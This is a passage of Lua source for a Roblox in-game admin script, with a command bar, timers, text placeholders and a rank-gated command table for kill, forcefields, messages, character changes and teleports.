  4794. local function ExecuteText()
  4795. local Text = CORE:ReadProperty(RPR, Player, "Text")
  4796. CORE:Chatted(Text, Player, true)
  4797. CommandBox.Text = "Enter a command here"
  4798. end
  4799.  
  4800. local function AddSuggestion(Text)
  4801. if Text == nil then Text = Settings.Prefix end
  4802. local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
  4803. Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
  4804. CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
  4805. if Text == Settings.Prefix then
  4806. CommandBox.Text = Settings.Prefix
  4807. else
  4808. CommandBox.Text = Settings.Prefix..Text
  4809. end
  4810. CORE:ExecuteResource("Focus", CommandBox)
  4811. end, true)
  4812. end
  4813.  
  4814. CORE:HandleEvent(CommandBox, "MouseEnter", function()
  4815. if CommandBox.Text == "Enter a command here" then
  4816. CommandBox.Text = ""
  4817. end
  4818. end)
  4819.  
  4820. local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
  4821. CORE:ExecuteResource("ChatBoxLocal", CommandBox)
  4822.  
  4823. CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
  4824. EnterPressed.OnServerInvoke = ExecuteText
  4825.  
  4826. CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
  4827. Suggest.CanvasSize = UDim2.new(0,0,0,0)
  4828. Suggest:ClearAllChildren()
  4829. local Text = CORE:ReadProperty(RPR, Player, "Text")
  4830. if Text == "" then
  4831. AddSuggestion(Settings.Prefix)
  4832. end
  4833.  
  4834. if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
  4835. Text = string.sub(Text,#Settings.Prefix+1)
  4836. end
  4837. for _,Data in pairs(UsableCommands) do
  4838. local Command,Args = Data[1],Data[2]
  4839. if string.find(string.lower(Command),string.lower(Text)) then
  4840. local NewSuggestion = Command
  4841. if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
  4842. AddSuggestion(NewSuggestion)
  4843. end
  4844. end
  4845.  
  4846. end end)
  4847. end
  4848.  
  4849. function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
  4850. if not Player or not AllSeconds then return nil end
  4851. AllSeconds = tonumber(AllSeconds)
  4852. local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
  4853. AllSeconds = math.floor(AllSeconds)
  4854. if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
  4855. local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
  4856. local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
  4857. local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
  4858. local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
  4859. local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
  4860.  
  4861. local CurrentSeconds = AllSeconds
  4862. local Alive = true
  4863. coroutine.wrap(function() for i = 0,AllSeconds do
  4864. if not Alive then break end
  4865. local Seconds = tostring(math.fmod(CurrentSeconds,60))
  4866. local Minutes = tostring(math.floor(CurrentSeconds/60))
  4867. if #Seconds == 1 then Seconds = "0"..Seconds end
  4868. if #Minutes == 1 then Minutes = "0"..Minutes end
  4869. Time.Text = Minutes..":"..Seconds
  4870. wait(1)
  4871. if CurrentSeconds <= 0 then
  4872. Alarm:Play()
  4873. Time.Text = "00:00"
  4874. Part.Size = UDim2.new(1,0,1,0)
  4875. Restore:Invoke()
  4876. wait(4)
  4877. Close:Invoke()
  4878. break
  4879. else
  4880. Tick:Play()
  4881. Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
  4882. CurrentSeconds = CurrentSeconds - 1
  4883. end
  4884. end end)()
  4885.  
  4886. Closed.Event:connect(function()
  4887. if Alive == true then
  4888. Alive = false
  4889. Tick:Stop()
  4890. Alarm:Stop()
  4891. end
  4892. end)
  4893. end)() end
  4894.  
  4895. function GUI:DetachChat(Player)
  4896. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4897. if Player:FindFirstChild("DetachChatMML") then
  4898. Player.DetachChatMML:Invoke(true)
  4899. wait()
  4900. Player.DetachChatMML:Destroy()
  4901. end
  4902.  
  4903. local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
  4904. local SG = Frame.Parent.Parent.Parent
  4905.  
  4906. local DCBF = Instance.new("BindableFunction", Player)
  4907. DCBF.Name = "DetachChatMML"
  4908. DCBF.OnInvoke = function(Remove)
  4909. if Remove then
  4910. SG:Destroy()
  4911. end
  4912. end
  4913. CORE:ExecuteResource("CoreChat", SG)
  4914.  
  4915. local IsClosed = false
  4916. Closed.Event:connect(function()
  4917. CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
  4918. IsClosed = true
  4919. end)
  4920.  
  4921. coroutine.wrap(function()
  4922. Player.CharacterRemoving:wait()
  4923. if not IsClosed then
  4924. IsClosed = true
  4925. wait(1)
  4926. CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
  4927. end
  4928. end)()
  4929. end
  4930.  
  4931. function GUI:SendChat(Player, Data) coroutine.wrap(function()
  4932. if not Player then return nil end
  4933. if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
  4934.  
  4935. Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
  4936. end)() end
  4937.  
  4938. function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time)
  4939. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4940.  
  4941. local NumSounds = 0
  4942. for _,SG in pairs(Player.PlayerGui:GetChildren()) do
  4943. if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
  4944. NumSounds = NumSounds + 1
  4945. end
  4946. end
  4947.  
  4948. local Size = UDim2.new(0.1, 100, 0.1, 100)
  4949. local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
  4950. Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
  4951.  
  4952. local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = GUI:ContrastColor() Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
  4953. local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = GUI:ContrastColor() Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
  4954. local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
  4955. local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
  4956.  
  4957. coroutine.wrap(function()
  4958. local Alive = true
  4959.  
  4960. local function StopTimer() Alive = false end
  4961. Closed.Event:connect(StopTimer)
  4962. Minimized.Event:connect(StopTimer)
  4963. CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
  4964.  
  4965. for i = Time,0,-1 do
  4966. for ii = 1,10 do
  4967. if Alive == true then
  4968. Timer.Text = i
  4969. wait(0.1)
  4970. else
  4971. break
  4972. end
  4973. end
  4974. end
  4975. if Alive == true then
  4976. Close:Invoke()
  4977. else
  4978. Timer:Destroy()
  4979. Stop:Destroy()
  4980. end
  4981. end)()
  4982. end
  4983.  
  4984. ---- STRING REPLACEMENT OPERATIONS ----
  4985.  
  4986. -- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
  4987.  
  4988. -- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
  4989.  
  4990. StringReplacements = {
  4991. {"_SERVERTIME", "total server time in seconds", false, function(Player) return math.floor(Workspace.DistributedGameTime) end};
  4992. {"_PLACEID", "the current place's ID", false, function(Player) return game.PlaceId end};
  4993. {"_CREATORID", "the game's creator's user ID", false, function(Player) return game.CreatorId end};
  4994. {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
  4995. {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
  4996. {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
  4997. {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
  4998. {"_RANDOM", "a random number from 1-10000", false, function(Player) return math.random(1,10000) end};
  4999. {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
  5000. {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
  5001.  
  5002. {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
  5003. {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
  5004. {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
  5005. {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
  5006. {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
  5007. {"_NAME", "player's username", true, function(Player) return Player.Name end};
  5008. {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
  5009. {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
  5010. {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
  5011. {"_BENCH", "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return ClientInfo[Player.Name].Benchmark else return "[NO BENCHMARK]" end end};
  5012. {"_BENCHMARK", "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return ClientInfo[Player.Name].Benchmark else return "[NO BENCHMARK]" end end};
  5013. {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) end end};
  5014. {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) end end};
  5015. {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) end end};
  5016. {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
  5017. {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
  5018. }
  5019.  
  5020. ---- COMMANDS ----
  5021.  
  5022. -- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
  5023.  
  5024. Commands = { -- can't make local
  5025. [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
  5026. print("[MML's Admin]: Test message from "..Speaker.Name)
  5027. GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
  5028. end};
  5029.  
  5030. [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
  5031. local Players = STRING:Scan(Arguments[1], Speaker)
  5032. for _,Player in pairs(Players) do
  5033. if Player.Character then
  5034. Player.Character:BreakJoints()
  5035. end
  5036. end
  5037. end};
  5038.  
  5039. [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
  5040. local Players = STRING:Scan(Arguments[1], Speaker)
  5041. for _,Player in pairs(Players) do
  5042. if Player.Character then
  5043. Instance.new("ForceField", Player.Character)
  5044. end
  5045. end
  5046. end};
  5047.  
  5048. [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5049. local Players = STRING:Scan(Arguments[1], Speaker)
  5050. for _,Player in pairs(Players) do
  5051. if Player.Character then
  5052. for _,Get in pairs(Player.Character:GetChildren()) do
  5053. if Get:IsA("ForceField") then
  5054. Get:Destroy()
  5055. end
  5056. end
  5057. end
  5058. end
  5059. end};
  5060.  
  5061. [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5062. for _,Player in pairs(Server.Players:GetPlayers()) do
  5063. GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true)
  5064. end
  5065. end};
  5066.  
  5067. [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5068. for _,Player in pairs(Server.Players:GetPlayers()) do
  5069. GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569)
  5070. end
  5071. end};
  5072.  
  5073. [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  5074. local Players = STRING:Scan(Arguments[1], Speaker)
  5075. for _,Player in pairs(Players) do
  5076. GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20)
  5077. end
  5078. end};
  5079.  
  5080. [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5081. for _,Player in pairs(Server.Players:GetPlayers()) do
  5082. GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24})
  5083. end
  5084. end};
  5085.  
  5086. [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
  5087. local Players = STRING:Scan(Arguments[1], Speaker)
  5088. for _,Player in pairs(Players) do
  5089. GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24})
  5090. end
  5091. end};
  5092.  
  5093. [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5094. local Players = STRING:Scan(Arguments[1], Speaker)
  5095. local AgeList = {}
  5096. for _,Player in pairs(Players) do
  5097. table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
  5098. end
  5099. GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
  5100. end};
  5101.  
  5102. [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
  5103. local Players = STRING:Scan(Arguments[1], Speaker)
  5104. local AgeList = {}
  5105. for _,Player in pairs(Players) do
  5106. table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
  5107. end
  5108. local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
  5109. for _,Player in pairs(SecondPlayers) do
  5110. GUI:ListGui(Player, "Player Ages", AgeList, "Time")
  5111. end
  5112. end};
  5113.  
  5114. [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  5115. local Storage = {{}, {}, {}, {}}
  5116. local StorageText = {}
  5117. local Formatted = {}
  5118. for CommandNames,Data in pairs(Commands) do
  5119. if not Data.Hidden then
  5120. local RankNeeded = RANK:ConvertRank(Data[4])
  5121. local Add = ""
  5122. if Data[4] == "Non-Admin" then Add = "BLACK " end
  5123. if Data[4] == "Admin" then Add = "CYAN " end
  5124. if Data[4] == "Member" then Add = "BLUE " end
  5125. if Data[4] == "Owner" then Add = "GREEN " end
  5126. if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
  5127. local AddBet = Settings.Bet
  5128. if Data[3] <= 0 then AddBet = "" end -- for commands with no args
  5129. local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
  5130. table.insert(Storage[RankNeeded + 1], Add..Text)
  5131. StorageText[Text] = CommandNames
  5132. end
  5133. end
  5134. for Num,_ in pairs(Storage) do
  5135. table.sort(Storage[Num])
  5136. end
  5137. for _,Table in pairs(Storage) do
  5138. for _,Command in pairs(Table) do
  5139. table.insert(Formatted, Command)
  5140. end
  5141. end
  5142. local Clicked = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
  5143. Clicked.Event:connect(function(Text)
  5144. GUI:ShowCommand(Speaker, StorageText[Text])
  5145. end)
  5146. end};
  5147.  
  5148. [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
  5149. GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
  5150. end};
  5151.  
  5152. [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5153. if GUI:GetColor(Arguments[1]) then
  5154. local ColorScheme = string.upper(Arguments[1])
  5155. if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
  5156. Settings.ColorScheme = ColorScheme
  5157. GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
  5158. else
  5159. GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
  5160. end
  5161. end};
  5162.  
  5163. [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
  5164. local List = {}
  5165. for Color,_ in pairs(Colors) do
  5166. table.insert(List, Color.." "..Color)
  5167. end
  5168. GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
  5169. end};
  5170.  
  5171. [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5172. local Transparency = tonumber(Arguments[1])
  5173. if Transparency then
  5174. if Transparency > 90 then Transparency = 90 end
  5175. if Transparency < 10 then Transparency = 10 end
  5176. Settings.TransparencyScheme = Transparency/100
  5177.  
  5178. GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
  5179. else
  5180. GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
  5181. end
  5182. end};
  5183.  
  5184. [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5185. if Fonts[Arguments[1]] then
  5186. Settings.Font = Arguments[1]
  5187. GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
  5188. end
  5189. end};
  5190.  
  5191. [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5192. Settings.Fun = not Settings.Fun
  5193. GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
  5194. end};
  5195.  
  5196. [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5197. Settings.DisableAbuse = not Settings.DisableAbuse
  5198. GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
  5199. end};
  5200.  
  5201. [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
  5202. local List = {}
  5203. for Font,_ in pairs(Fonts) do
  5204. if Font == Settings.Font then
  5205. table.insert(List, Font.." "..Font.." (CURRENT FONT)")
  5206. else
  5207. table.insert(List, Font.." "..Font)
  5208. end
  5209. end
  5210. GUI:ListGui(Speaker, "Font list", List, 44453197)
  5211. end};
  5212.  
  5213. [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5214. local SoundID = tonumber(Arguments[1])
  5215. if SoundID then
  5216. Settings.ExecuteNotificationSound = SoundID
  5217.  
  5218. GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
  5219. else
  5220. GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
  5221. end
  5222. end};
  5223.  
  5224. [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5225. Settings.ExecuteNotificationSound = 0
  5226. end};
  5227.  
  5228. [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
  5229. local Players = STRING:Scan(Arguments[1], Speaker)
  5230. for _,Player in pairs(Players) do
  5231. CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
  5232. end
  5233. end};
  5234.  
  5235. [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
  5236. local Players = STRING:Scan(Arguments[1], Speaker)
  5237. for _,Player in pairs(Players) do
  5238. CORE:ChangeCharacter(Player, 13416513, false, Speaker)
  5239. end
  5240. end};
  5241.  
  5242. [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
  5243. local Players = STRING:Scan(Arguments[1], Speaker)
  5244. for _,Player in pairs(Players) do
  5245. coroutine.wrap(function()
  5246. CORE:ChangeCharacter(Player, 38837082, false, Speaker)
  5247. wait(1)
  5248. GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
  5249. end)()
  5250. end
  5251. end, Hidden = true};
  5252.  
  5253. [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
  5254. local Players = STRING:Scan(Arguments[1], Speaker)
  5255. for _,Player in pairs(Players) do
  5256. CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
  5257. end
  5258. end};
  5259.  
  5260. [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
  5261. local Players = STRING:Scan(Arguments[1], Speaker)
  5262. for _,Player in pairs(Players) do
  5263. CORE:ChangeName(Player, Arguments[2])
  5264. end
  5265. end};
  5266.  
  5267. [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
  5268. local Players = STRING:Scan(Arguments[1], Speaker)
  5269. for _,Player in pairs(Players) do
  5270. if Player.Character then
  5271. local Head = Player.Character:FindFirstChild("Label")
  5272. if Head then Head:Destroy() end
  5273. local Head = Player.Character:FindFirstChild("Head")
  5274. if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
  5275. end
  5276. end
  5277. end};
  5278.  
  5279. [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
  5280. local Players = STRING:Scan(Arguments[1], Speaker)
  5281. for _,Player in pairs(Players) do
  5282. CORE:ChangeCharacter(Player, 11397, false, Speaker)
  5283. end
  5284. end};
  5285.  
  5286. [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5287. local Players = STRING:Scan(Arguments[1], Speaker)
  5288. for _,Player in pairs(Players) do
  5289. local _,RankNum = RANK:GetRank(Player)
  5290. if RankNum <= RANK:ConvertRank(Rank) then
  5291. Server.TS:Teleport(Arguments[2], Player)
  5292. end
  5293. end
  5294. end};
  5295.  
  5296. [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5297. local Players = STRING:Scan(Arguments[1], Speaker)
  5298. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  5299. if Suc then
  5300. for _,Player in pairs(Players) do
  5301. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  5302. end
  5303. else
  5304. GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  5305. end
  5306. end};
  5307.  
  5308. [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5309. local Players = STRING:Scan(Arguments[1], Speaker)
  5310. MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
  5311. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  5312. if Suc then
  5313. for _,Player in pairs(Players) do
  5314. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  5315. end
  5316. else
  5317. GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  5318. end
  5319. end)
  5320. end};
  5321.  
  5322. [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5323. local Players = STRING:Scan(Arguments[1], Speaker)
  5324. for _,Player in pairs(Players) do
  5325. local _,RankNum = RANK:GetRank(Player)
  5326. if RankNum < RANK:ConvertRank(Rank) then
  5327. Server.TS:Teleport(155307015, Player)
  5328. end
  5329. end
  5330. end};
  5331.  
  5332. [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5333. local Players = STRING:Scan(Arguments[1], Speaker)
  5334. for _,Player in pairs(Players) do
  5335. local _,RankNum = RANK:GetRank(Player)
  5336. if RankNum < RANK:ConvertRank(Rank) then
  5337. Server.TS:Teleport(347911447, Player)
  5338. end
  5339. end
  5340. end};
  5341.  
  5342. [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5343. local Players = STRING:Scan(Arguments[1], Speaker)
  5344. for _,Player in pairs(Players) do
  5345. CORE:GenerateShield(Player)
  5346. end
  5347. end};
  5348.  
  5349. [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5350. local Players = STRING:Scan(Arguments[1], Speaker)
  5351. for _,Player in pairs(Players) do
  5352. if Player.Character then
  5353. local Shield = Player.Character:FindFirstChild("Shield")
  5354. if Shield then Shield:Destroy() end
  5355. end
  5356. end
  5357. end};
  5358.  
  5359. [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
  5360. local Num = tonumber(Arguments[1])
  5361. if Num and Num ~= 0 then
  5362. local Random = math.random(1,math.abs(Num))
  5363. if Random == math.random(1,math.abs(Num)) then
  5364. GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
  5365. else
